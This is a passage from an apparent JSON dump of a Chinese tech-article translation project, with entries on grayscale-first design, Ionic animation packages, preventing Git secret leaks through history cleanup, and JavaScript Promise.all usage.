[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/4-reasons-why-you-should-design-without-color-first.md",
    "content": "> * 原文地址：[4 Reasons Why You Should Design Without Color First](https://medium.com/devsdesign/4-reasons-why-you-should-design-without-color-first-c0e38180f689)\n> * 原文作者：[Anand Satyan](https://medium.com/@anandsatyan)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/4-reasons-why-you-should-design-without-color-first.md](https://github.com/xitu/gold-miner/blob/master/TODO1/4-reasons-why-you-should-design-without-color-first.md)\n> * 译者：[xionglong58](https://github.com/xionglong58)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234), [QiaoN](https://github.com/QiaoN)\n\n# 四个理由让你使用灰度色调进行设计\n\n设计时使用灰度色调会迫使你在 UX 设计中思路清晰、明确元素的优先级。\n\n## 1. 关注布局和间距\n\n当心里有灰度色调限制的时候，你做设计时的大部分思考时间将会花在如何正确的划分空间才能使事物看起来像是被组合在一起。紧接着你开始思考那些不可见，但是更重要的东西，比如可读性（行高、段落和排版）、关注的焦点（直观抢眼，显而易见的按钮和尺寸）、易读性 (元素分割、间距)。\n\n![Musety App by [Muse](https://dribbble.com/siyumiao)](https://cdn-images-1.medium.com/max/2000/0*q2R1nr4jd9NpW3E1.png)\n\n## 2. 方便收集客户有益的反馈\n\n好的设计需要时间。在设计的初期阶段，大多数设计师都不愿让客户/用户试用未完成的工作，以收集早期反馈。收集客户的反馈十分重要，它可以让你减少产品的迭代次数，避免在不必要的版本上浪费大量时间。大多数客户要么不知道自己到底想要什么样的产品，要么给不出有建设性的反馈。向客户展示产品设计初稿，会让他们理解设计过程，并问你一些更有建设性的问题。\n\n> 那样的话，客户可能会问你“什么颜色适合这个按钮”，而不是“为什么这个按钮是黄色的”。显然，前者更有利于共通。\n\n## 3. 设计整洁\n\n创造一个简洁的设计不是一件容易的事情。当你用灰度色调创建设计时，你的重点是可用性、间距、尺寸、布局元素、交互和设计流程。设计的第一个版本应该只采用不同的灰度色调，以突出元素之间的层次结构和视觉主次。\n\n![](https://cdn-images-1.medium.com/max/2000/0*6BGjoJRHoqxYay2d.png)\n\n## 4. 创建一致性\n\n在你的设计中最好使用三种或三种以下的颜色。设计中有太多的颜色可能会弄晕用户或将用户的注意力引向不太重要区域。比如，当你要做的设计只有一种颜色，完全采用黑白色调，用户的目光会自然地落在这些“彩色”区域中。\n\n![UXPin Design Systems Tool](https://cdn-images-1.medium.com/max/2000/0*hxW3pxZK3PRE-XVE.jpg)\n\n所以，下次当你打开 Sketch、Illustrator 或其他任何你喜欢的设计工具时，先忘记调色板一段时间，直到你在灰度色调上有了完整的设计框架。\n\n**如果你是一个在 UX/design 上苦苦挣扎的开发人员，我们正在构建的一个工具可以帮助你。**[在这里注册抢先体验！](https://devs.design)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-animation-packages-ionic.md",
    "content": "> * 原文地址：[5 Animation Packages You Can Immediately Use Inside Your Ionic App](https://devdactic.com/5-animation-packages-ionic/?utm_source=mobiledevweekly&utm_medium=email)\n> * 原文作者：[devdactic.com](https://devdactic.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-animation-packages-ionic.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-animation-packages-ionic.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller)\n\n# 5 个可以立刻在你的 Ionic App 中用上的动画包\n\n![](https://i1.wp.com/devdactic.com/wp-content/uploads/2019/01/ionic-5-animation-packages.png?resize=720%2C400&ssl=1)\n\n使用 Ionic 与 Angular 有许多方法可以让你在你的 app 中制作动画。你可以直接使用 Angular Animations，也可以使用其它的包（仅需几分钟就能装好）来实现动画。\n\n在本文中我们将介绍 **5 个不同的动画包**，可以轻松地将它们引入你的 APP，使用它们预设的动画或者利用这几个框架轻松自定义动画效果。\n\n![ionic-animation-packages-example](https://i1.wp.com/devdactic.com/wp-content/uploads/2019/01/ionic-animation-packages-example-526x1024.gif?resize=526%2C1024&ssl=1)\n\n你可以使用以下代码初始化一个空白的 Ionic 4 App：\n\n```\nionic start animationPackages blank --type=angular\n```\n\n我们不会完整地摘录这些包的文档，只会展示如何将它们整合进你的 App 这一重要部分。\n\n## 1. [Anime.js](https://github.com/juliangarnier/anime)\n\n只要安装好这个包，不需要任何别的操作就能将它引入你的 App 中了。你只需要简单地按照下列代码即可：\n\n```\nnpm install animejs\n```\n\n通过它你可以让你**在你的 Javascript 代码中**创建动画。这也是它与绝大多数包不同的地方：别的包大多是通过添加 CSS class，或者在你的 class 中用特定的语法来创建动画的。\n\n通过 Anime.js，你能轻松地为屏幕中的元素设定动画并移动它们。下面是创建一个小方块，并用一个函数来创建动画效果的代码（我们给小方块加了一些 CSS 样式，这样它才能在屏幕上有一定的大小）：\n\n```\n// HTML\n<div class=\"animate-me\" #box></div>\n  \n// SCSS\n \n.animate-me {\n    width: 50px;\n    height: 50px;\n    padding: 20px;\n    background: #0000ff;\n}\n \n// TS\nimport * as anime from 'animejs';\n \ncallAnime() {\n    anime({\n      targets: '.animate-me',\n      translateX: [\n        { value: 100, duration: 1200 },\n        { value: 0, duration: 800 }\n      ],\n      rotate: '1turn',\n      backgroundColor: '#ff00ff',\n      duration: 2000\n    });\n}\n```\n\n我们可以用元素的 CSS class 来轻松指定应用动画效果的目标（即 target 参数），其它的参数都不言自明。这也是这个包的强大之处：\n\n你可以轻松理解这个包的一些基本命令，**快速上手并创建强大的动画效果**。如果选择用这个包来创建动画，你不需要学习又臭又长的 API。\n\n## 2. [Magic CSS](https://github.com/miniMAC/magic)\n\n这个包依赖于预设好的 CSS 动画，你可以将这些动画加入到元素中。安装方式与前文相同：\n\n```\nnpm install magic.css\n```\n\n不过此时你需要从 node module 将实际的 CSS 文件导入进来，因此你得用类似下面的方法来修改你的 **src/global.scss**：\n\n```\n@import '~magic.css/magic.min.css';\n```\n\n现在可以在你的 app 中用 Magic CSS 了。你可以直接在元素上添加动画的 class，或者用下面这种方式通过 `@ViewChild()` 标注将动画 class 加入到元素的 `classList` 中去，这样就能在特定的时间来创建动画了：\n\n```\n// HTML\n<div class=\"animate-me\" #box></div>\n \n// TS\n@ViewChild('box') box: ElementRef;\n \ndoMagic() {\n    this.box.nativeElement.classList.add('magictime');\n    this.box.nativeElement.classList.add('foolishIn');\n}\n```\n\n每次你都要先加入 **magictime** class，然后加入你要用的动画的 class 名。\n\n这个包没有提供那么多的自定义选项，不过如果你只需要**简单且快速的 CSS 动画**，试试它准没错！\n\n## 3. [Number Flip](https://github.com/gaoryrt/number-flip)\n\n这是一个小巧的包。我最近才发现它，非常喜欢它的动画。不过只有在一种特定的情景下，你才会需要将它加入你的 app（你可以看看它的 Github page，那里面的效果就是它唯一的效果）。安装方式很简单，依然是：\n\n```\nnpm install number-flip\n```\n\n假设你的 Ionic app 的顶栏上有一些计数器，现在你希望通过动画效果来修改它的数字。\n\n这个情景中，number flip 包就非常好用，你可以用帅帅的动画效果让一个元素翻转，并在翻转时修改元素里面的数字。我用一些代码创建了对该元素的引用，当触发 `flip()` 函数的时候会直接调用动画包里面的 `flipTo()` 函数：\n\n```\n// HTML\n<ion-header>\n  <ion-toolbar>\n    <ion-title>\n      Ionic Animations\n    </ion-title>\n    <ion-buttons slot=\"end\">\n      <div #numberbtn></div>\n    </ion-buttons>\n  </ion-toolbar>\n</ion-header>\n \n// TS\nimport { Flip } from 'number-flip';\n \n@ViewChild('numberbtn', { read: ElementRef }) private btn: ElementRef;\n \nflip() {\n  if (!this.flipAnim) {\n    this.flipAnim = new Flip({\n      node: this.btn.nativeElement,\n      from: '9999',\n    });\n  }\n \n  this.flipAnim.flipTo({\n    to: Math.floor((Math.random() * 1000) + 1)\n  });\n}\n```\n\n当然这个包没有任何别的高级动画效果，它**仅仅在这种特殊情景下特别好用**。如果你要使用计时器或者创建数字动画，考虑考虑它吧！\n\n## 4. [Animate CSS](https://github.com/daneden/animate.css)\n\n它可是一位重磅玩家，在这几个包中就属它的 Github star 最多。它的口号是“像倒水一样添加 CSS 动画”，事实上它的用法确特别简单。安装方法和前文一样：\n\n```\nnpm install animate.css\n```\n\n由于这个包依赖于 CSS，因此使用它前我们也要通过下面的方式将 CSS 文件导入 **src/global.scss** 中：\n\n```\n@import '~animate.css/animate.min.css';\n```\n\n现在，我们就可以享受这个包各种预设好的超帅的 CSS 动画了（每个用例都对应着一种动画）。我们还可以添加一些其它的 class，比如说 `infinite` 让动画循环播放，或者让动画延迟一段时间播放。\n\n在下面的例子中，我们 ngFor 和它的 index 来定义不同的动画延迟（当然在真实的 app 中不会有这么慢的动画），然后用 `ViewChildren` 列表来为需要飞出来的元素增加相应的动画 class：\n\n```\n// HTML\n<h1 text-center class=\"animated infinite rubberBand delay-1s\">Example</h1>\n \n<ion-list>\n    <ion-item *ngFor=\"let val of ['First', 'Second', 'Third']; let i = index;\" \n    class=\"animated fadeInLeft delay-{{ i }}s\" #itemlist>\n      {{ val }} Item\n    </ion-item>\n</ion-list>\n \n// TS\n@ViewChildren('itemlist', { read: ElementRef }) items: QueryList<ElementRef>;\n \nanimateItems() {\n  let elements = this.items.toArray();\n  elements.map(elem => {\n    return elem.nativeElement.classList.add('zoomOutRight')\n  })\n}\n```\n\n如果你想要个**预设好大量 CSS 动画的武器库**，你一定要试试它。虽然它已经预设好了很多东西，但你也可以根据你的需要来进行组合！\n\n## 5. [Bounce.js](https://github.com/tictail/bounce.js)\n\n最后，我想测试这个特别灵活的包。它也可以用 Javascript 来编写动画。这个包的安装方法和其它几个包一样：\n\n```\nnpm install bounce.js\n```\n\n这个包的文档非常完整，你可能要多花一点时间来探索所有的配置，比如下面是他们页面广告中的一个片段：\n\n```\n// HTML\n<ion-button expand=\"block\" (click)=\"bounce()\" #bouncebtn>Bounce</ion-button>\n \n// TS\nimport * as Bounce from 'bounce.js';\n \n@ViewChild('bouncebtn', { read: ElementRef })bouncebtn: ElementRef;\n \nbounce() {\n  var bounce = new Bounce();\n  bounce\n    .translate({\n      from: { x: -300, y: 0 },\n      to: { x: 0, y: 0 },\n      duration: 600,\n      stiffness: 4\n    })\n    .scale({\n      from: { x: 1, y: 1 },\n      to: { x: 0.1, y: 2.3 },\n      easing: \"sway\",\n      duration: 800,\n      delay: 65,\n      stiffness: 2\n    })\n    .scale({\n      from: { x: 1, y: 1 },\n      to: { x: 5, y: 1 },\n      easing: \"sway\",\n      duration: 300,\n      delay: 30,\n    })\n    .applyTo(this.bouncebtn.nativeElement);\n}\n```\n\n如你所见，所有步骤都在你的 Javascript 代码中。你可以用这个包在任何粒度上**创建复杂的关键帧动画**。\n\n不过这种灵活性是要付出代价的，你需要深入地研究它的文档，因此比起其它的包你需要更多的时间才能入门。不过，如果你付出了时间，它也会回报你的付出：你可以用它在 app 中创建任何你想要的动画！\n\n## 总结\n\n在推荐的这几个包中，有一些包可以让你快速做出产品，有些包则需要你学习它们的语法；有些包已经预设好了一切动画，而有些包则可以让你创建更灵活的动画；有些包是纯 CSS，还有一些是纯 JS。\n\n没有哪个是真正“最好的”，因为它们在不同的场景下有着各自的优势。另外，注意这些包的大小也是一件重要的事，你也不希望加太多的东西影响 app 的下载时间吧。\n\n最后打个广告，除了这些包之外你也可以使用标准的 **Angular animations** 来制作动画。[Ionic Academy](https://ionicacademy.com/) 有一个特别课程专门介绍这块内容哦！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-best-practices-to-prevent-git-leaks.md",
    "content": "> - 原文地址：[5 Best Practices To Prevent Git Leaks](https://levelup.gitconnected.com/5-best-practices-to-prevent-git-leaks-4997b96c1cbe)\n> - 原文作者：[Coder’s Cat](https://medium.com/@coderscat)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-best-practices-to-prevent-git-leaks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-best-practices-to-prevent-git-leaks.md)\n> - 译者：[YueYongDEV](https://github.com/YueYongDev)\n> - 校对者：[Roc](https://github.com/QinRoc)、[icy](https://github.com/Raoul1996)\n\n# 防止 Git 泄漏的 5 种最佳做法\n\n![](https://cdn-images-1.medium.com/max/4000/0*bskmb4Tr98q5if_y.jpg)\n\n无数的开发人员正在使用 Git 进行版本控制，但是许多开发人员对 Git 的工作方式并没有足够的了解。有些人甚至将 Git 和 Github 用作备份文件的工具。这些做法导致 Git 仓库中的信息遭到泄露，[每天都有数千个新的 API 或加密密钥从 GitHub 泄漏出去](https://www.zdnet.com/article/over-100000-github-repos-have-leaked-api-or-cryptographic-keys/)。\n\n我在信息安全领域工作了三年。大约在两年前，我们公司发生了一起非常严重的安全问题，是由于 Git 仓库发生了信息泄露导致的。\n\n一名员工意外地在 Github 上泄露了 AWS 的密钥。攻击者使用此密钥从我们的服务器下载很多敏感的数据。我们花了很多时间来解决这个问题，我们试图统计出泄漏了多少数据，并分析了受影响的系统和相关用户，最后替换了系统中所有泄漏的密钥。\n\n这是一个任何公司和开发人员都不愿经历的悲惨故事。\n\n关于整件事情的细节我就不多写了。事实上，我希望更多的人知道如何去避免 Git 的信息泄露。以下是我提出的一些建议。\n\n## 建立安全意识\n\n大多数新人开发者没有足够的安全意识。有些公司会培训新员工，但有些公司没有系统的培训。\n\n作为开发人员，我们需要知道哪些数据可能会带来安全问题。千万记住，下面这些数据不要上传到 Git 仓库中：\n\n1. 任何配置数据，包括密码，API 密钥，AWS 密钥和私钥等。\n2. [个人身份信息](https://en.wikipedia.org/wiki/Personal_data)（PII）。根据 GDPR 的说法，如果公司泄露了用户的 PII，则该公司需要通知用户和有关部门，否则会带来更多的法律麻烦。\n\n如果你在公司工作，未经允许，请勿共享任何与公司相关的源代码或数据。\n\n攻击者可以在 GitHub 上轻松地找到某些具有公司版权的代码，而这些代码都是被员工无意中泄露到 Github 上的。\n\n我的建议是，应该将公司项目和个人项目严格区分。\n\n## 使用 Git 忽略（Git ignore）\n\n当我们使用 Git 创建一个新项目时，我们必须正确地设置一个 **.gitignore** 文件。**.gitignore** 是一个 Git 配置文件，它列出了不会被存入 Git 仓库的文件或目录。\n\n[这个 gitignore 项目](https://github.com/github/gitignore) 是一个实际使用着的 .gitignore 模板集合，其中包含对应各种编程语言、框架、工具或环境的配置文件。\n\n我们需要了解 **gitignore** 的模式匹配规则，并根据模板添加我们自己的规则。\n\n![](https://cdn-images-1.medium.com/max/2000/0*VmEolB6qYNCYr9Wf.png)\n\n## 使用 Git 钩子（Git hooks）和 CI 检查提交\n\n没有工具可以从 Git 仓库中找出所有敏感数据，但是有一些工具可以为我们提供帮助。\n\n[git-secrets](https://github.com/awslabs/git-secrets) 和 [talisman](https://github.com/thoughtworks/talisman) 是类似的工具，它们应作为[预提交的钩子](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)（pre-commit hooks）安装在本地代码库中。每次都会在提交之前对更改的内容进行检查，如果钩子检测到预期的提交内容可能包含敏感信息，那它们将会拒绝提交。\n\n[gitleaks](https://github.com/zricethezav/gitleaks) 提供了另一种在 git 仓库中查找未加密的密钥和其他一些不需要的数据类型的方法。我们可以将其集成到自动化工作流程中，例如 CICD。\n\n## 代码审查（Code review）\n\n代码审查是团队合作的最佳实践。所有队友都将从彼此的源代码中学习。初级开发人员的代码应由具有更多经验的开发人员进行审查。\n\n在代码检查阶段可以发现大多数不符合预期的更改。\n\n[启用分支限制](https://help.github.com/en/github/administering-a-repository/enabling-branch-restrictions) 可以强制执行分支限制，以便只有部分用户才能推送到代码库中受保护的分支。Gitlab 也有类似的选择。\n\n将 master 设置为受限制的分支有助于我们执行代码审查的工作。\n\n![](https://cdn-images-1.medium.com/max/2208/0*RUqDCQlDgym-Jo8x.png)\n\n## 快速并且正确地修复它\n\n即使使用了上面提到的工具和方法，却仍然可能会发生错误。但如果我们快速且正确地修复它，则代码泄漏可能就不会引起实际的安全问题。\n\n如果我们在 Git 仓库中发现了一些敏感数据泄漏，我们就不能仅仅通过提交另一个提交覆盖的方式来进行清理。\n\n![This fix is self-deception](https://cdn-images-1.medium.com/max/2000/0*FsGBhHSlXdeSpTk4.png)\n\n我们需要做的是从整个 Git 历史记录中删除所有敏感数据。\n\n**在进行任何清理之前请记得进行备份，然后在确认一切正常后再删除备份文件。**\n\n使用 `--mirror` 参数克隆一个仓库；这是 Git 数据库的完整副本。\n\n```bash\ngit clone --mirror git://example.com/need-clean-repo.git\n```\n\n我们需要执行 **git filter-branch** 命令来从所有分支中删除数据并提交历史记录。\n\n下面举个例子，假设我们要从 Git 中删除 `./config /passwd`：\n\n```bash\n$ git filter-branch --force --index-filter \\\n  'git rm --cached --ignore-unmatch ./config/password' \\\n  --prune-empty --tag-name-filter cat -- --all\n```\n\n请记住将敏感文件添加到 .gitignore 中：\n\n```bash\n$ echo \"./config/password\" >> .gitignore\n$ git add .gitignore\n$ git commit -m \"Add password to .gitignore\"\n```\n\n然后我们将所有分支推送到远端：\n\n```bash\n$ git push --force --all\n$ git push --force --tags\n```\n\n告诉我们的小伙伴进行变基（rebase）：\n\n```bash\n$ git rebase\n```\n\n[BFG](https://rtyley.github.io/bfg-repo-cleaner/) 是一种比 **git filter-branch** 更快、更简单的用于删除敏感数据的替代方法。通常比 **git filter-branch** 快 10–720 倍。除删除文件外，BFG 还可以用于替换文件中的机密信息。\n\nBFG 保留最新的提交记录。它是用来防止我们犯错误的。我们应该显式地删除文件，提交删除，然后清除历史记录以此删除它。\n\n如果泄漏的 Git 代码库被其他人 fork 了，我们需要遵循 [DMCA](https://help.github.com/en/github/site-policy/dmca-takedown-policy#c-what-if-i-inadvertently-missed-the-window-to-make-changes) 的删除策略，请求 Github 删除创建的代码库。\n\n整个过程需要一些时间才能完成，但这是删除所有副本的唯一方法。\n\n## 总结\n\n不要犯无数人犯过的错误。尽力避免发生安全事故。\n\n使用上面提到的这些工具和策略将有助于避免 Git 泄漏。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-better-practices-for-javascript-promises-in-real-projects.md",
    "content": "> * 原文地址：[5 Better Practices for JavaScript Promises in Real Projects](https://medium.com/javascript-in-plain-english/5-better-practices-for-javascript-promises-in-real-projects-4917a9daec01)\n> * 原文作者：[bitfish](https://medium.com/@bf2)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-better-practices-for-javascript-promises-in-real-projects.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-better-practices-for-javascript-promises-in-real-projects.md)\n> * 译者：[febrainqu](https://github.com/febrainqu)\n> * 校对者：[niayyy-S](https://github.com/niayyy-S)、[IAMSHENSH](https://github.com/IAMSHENSH)\n\n# 实际项目中关于 JavaScript 中 Promises 的 5 种最佳实践\n\n![Photo by [Kelly Sikkema](https://unsplash.com/@kellysikkema?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/10814/0*WrO6pqf5aLgB319V)\n\n在学习了 Promise 的基本用法后，本文希望可以帮助你在实际项目中更好地使用 Promise。\n\n> 使用 Promise.all，Promise.race 和 Promise.prototype.then 来改善代码质量。\n\n## Promise.all\n\nPromise.all 实际上是一个 Promise，接收一个 Promise 数组（或一个可迭代的对象）做为参数。然后当其中所有的 Promise 都变为 resolved 状态，或其中一个变为 rejected 状态，会回调完成。\n\n例如，假设你有十个 promise（执行网络请求或数据库连接的异步操作）。你必须知道什么时候所有的 promises 都转为 resolved 状态，或者等到所有的 promise 执行完。所以你要通过十个 promise 去完成 promise.all。然后，一旦十个 promise 都转为 resolved 状态，或者它们中的任意一个因为发生异常转为 rejected 状态，Promise.all 自身做为一个 promise 会转为 resolved 状态。\n\n**让我们在代码中理解它：**\n\n```js\nPromise.all([promise1, promise2, promise3])\n .then(result) => {\n   console.log(result)\n })\n .catch(error => console.log(`Error in promises ${error}`))\n```\n\n你可以看到，我们将一个数组传递给了 Promise.all。并且当三个 Promise 都转为 resolved 状态时，Promise.all 完成并在控制台输出。\n\n**让我们看一个例子：**\n\n```JavaScript\n// 一个简单的 promise，经过给定时间会执行 resolve\nconst timeOut = (t) => {\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      resolve(`Completed in ${t}`)\n    }, t)\n  })\n}\n// Resolve 一个正常的 promise。\ntimeOut(1000)\n .then(result => console.log(result)) // Completed in 1000\n// Promise.all\nPromise.all([timeOut(1000), timeOut(2000)])\n .then(result => console.log(result)) // [\"Completed in 1000\", \"Completed in 2000\"]\n```\n\n在上面的示例中，Promise.all 在 2000ms 之后 resolved，并且在控制台上输出结果数组。\n\n关于 Promise.all 的一件有趣的事情是，Promise 的顺序是固定的。数组中的第一个 Promise 转为 resolved 并作为数组的第一个元素输出，第二个 Promise 转为 resolved 作为数组的第二个元素输出，以此类推。\n\n好的，以上是 promise.all 的基本用法。让我介绍一下它在实际项目中的应用。\n\n#### 1. 同步多个异步请求\n\n在实际的项目中，页面通常需要将多个异步请求发送到后台。然后等到后台结果返回后，再开始渲染页面。\n\n一些程序员可能会编写如下代码：\n\n```JavaScript\nfunction getBannerList(){\n  return new Promise((resolve,reject)=>{\n      // 假设我们向服务器发出异步请求\n      setTimeout(function(){\n          resolve('BannerList')\n      },300)\n  })\n}\n\nfunction getStoreList(){\n return new Promise((resolve,reject)=>{\n      // 假设我们向服务器发出异步请求\n      setTimeout(function(){\n          resolve('StoreList')\n      },500)\n  })\n}\n\nfunction getCategoryList(){\n return new Promise((resolve,reject)=>{\n      // 假设我们向服务器发出异步请求\n      setTimeout(function(){\n          resolve('CategoryList')\n      },700)\n  })\n}\n\ngetBannerList().then(function(data){\n  // 渲染数据\n})\ngetStoreList().then(function(data){\n  // 渲染数据\n})\ngetCategoryList().then(function(data){\n  // 渲染数据\n})\n```\n\n上面的代码确实有效，但是有两个缺陷：\n\n* 每次我们从服务端请求数据时，我们都需要编写一个单独的函数来处理数据。这将导致代码冗余，并且不便于将来的升级和扩展。\n* 每个请求花费的时间不同，导致函数会异步渲染三次页面，会使用户感觉页面卡顿。\n\n现在我们可以使用 Promise.all 来优化我们的代码。\n\n```JavaScript\nfunction getBannerList(){\n  // ...\n}\nfunction getStoreList(){\n  // ...\n}\nfunction getCategoryList(){\n  // ...\n}\n\nfunction initLoad(){\n  Promise.all([getBannerList(),getStoreList(),getCategoryList()]).then(res=>{\n      // 渲染数据\n  }).catch(err=>{\n      // ...\n  })\n}\ninitLoad()\n```\n\n所有请求完成后，我们将统一处理数据。\n\n#### 2. 处理异常\n\n在上面的示例中，我们非常直接地将这种方法用于异常处理：\n\n```js\nPromise.all([p1, p2]).then(res => {\n  // ...\n}).catch(error => {\n  // 异常处理\n})\n```\n\n众所周知，Promise.all 的机制是，只要做为参数的 Promise 数组中的任何一个 Promise 抛出异常时，无论其他 Promise 成功或失败，整个 Promise.all 函数都会进入 catch 方法。\n\n但实际上，我们经常需要这样：即使一个或多个 Promise 抛出异常，我们仍希望 Promise.all 继续正常执行。例如，在上面的例子中，即使在 `getBannerList()` 中发生异常，只要在 `getStoreList()` 或 `getCategoryList()` 中没有发生异常，我们仍然希望该程序继续执行。\n\n为了满足这个需求，我们可以使用一个技巧来增强 Promise.all 的功能。我们可以这样编写代码：\n\n```JavaScript\nPromise.all([p1.catch(error => error), p2.catch(error => error)]).then(res => {\n  // ...\n}))\n```\n\n这样，即使一个 Promise 发生异常，也不会中断 Promise.all 中其它 Promise 的执行。\n\n应用到前面的示例，结果是这样的。\n\n```JavaScript\nfunction getBannerList(){\n  return new Promise((resolve,reject)=>{\n      setTimeout(function(){\n          // 假设这里 reject 一个异常\n          reject(new Error('error'))\n      },300)\n  })\n}\n\nfunction getStoreList(){\n // ...\n}\n\nfunction getCategoryList(){\n // ...\n}\n\n\nfunction initLoad(){\n  Promise.all([\n    getBannerList().catch(err=>err),\n    getStoreList().catch(err=>err),\n    getCategoryList().catch(err=>err)\n  ]).then(res=>{\n\n    if(res[0] instanceof Error){\n      // 处理异常\n    } else {\n      // 渲染数据\n    }\n\n    if(res[1] instanceof Error){\n      // 处理异常\n    } else {\n      // 渲染数据\n    }\n\n    if(res[2] instanceof Error){\n     // 处理异常\n    } else {\n      // 渲染数据\n    }\n  })\n}\n\ninitLoad()\n```\n\n#### 3. 让多个 Promise 一起工作\n\n当用户要上传或发布某些内容时，我们可能需要验证用户上传的内容。例如，检查内容是否包含血腥暴力，色情，虚假新闻等。在多数情况下，这些检测行为是由后端提供的不同 API 或 SaaS 服务提供商提供的不同云功能执行的。\n\n一些程序员可能会编写如下代码：\n\n```JavaScript\nfunction verify1(content){\n  return new Promise((resolve,reject)=>{\n      // 假设我们执行异步操作\n      setTimeout(function(){\n          resolve(true)\n      },200)\n  })\n}\n\nfunction verify2(content){\n  return new Promise((resolve,reject)=>{\n      // 假设我们执行异步操作\n      setTimeout(function(){\n          resolve(true)\n      },700)\n  })\n}\n\nfunction verify3(content){\n  // 假设我们执行异步操作\n  return new Promise((resolve,reject)=>{\n      setTimeout(function(){\n          resolve(true)\n      },300)\n  })\n}\n\nverify1().then(() => {\n  verify2().then(() => {\n    verify3().then(() => {\n      // 用户上传的内容已通过验证并可以发布。\n    }).catch(() => {\n      // 用户上传的内容没有通过验证，并且不能发布。\n    })\n  }).catch(() => {\n    // 用户上传的内容没有通过验证，并且不能发布。\n  })\n}).catch(() => {\n  // 用户上传的内容没有通过验证，并且不能发布。\n})\n```\n\n但是使用 Promise.all，我们可以使不同的 Promise 任务一起工作：\n\n```JavaScript\nfunction verify1(content){\n  return new Promise((resolve,reject)=>{\n      // 假设我们执行异步操作\n      setTimeout(function(){\n          resolve(true)\n      },200)\n  })\n}\n\nfunction verify2(content){\n  return new Promise((resolve,reject)=>{\n      // 假设我们执行异步操作\n      setTimeout(function(){\n          resolve(true)\n      },700)\n  })\n}\n\nfunction verify3(content){\n  // 假设我们执行异步操作\n  return new Promise((resolve,reject)=>{\n      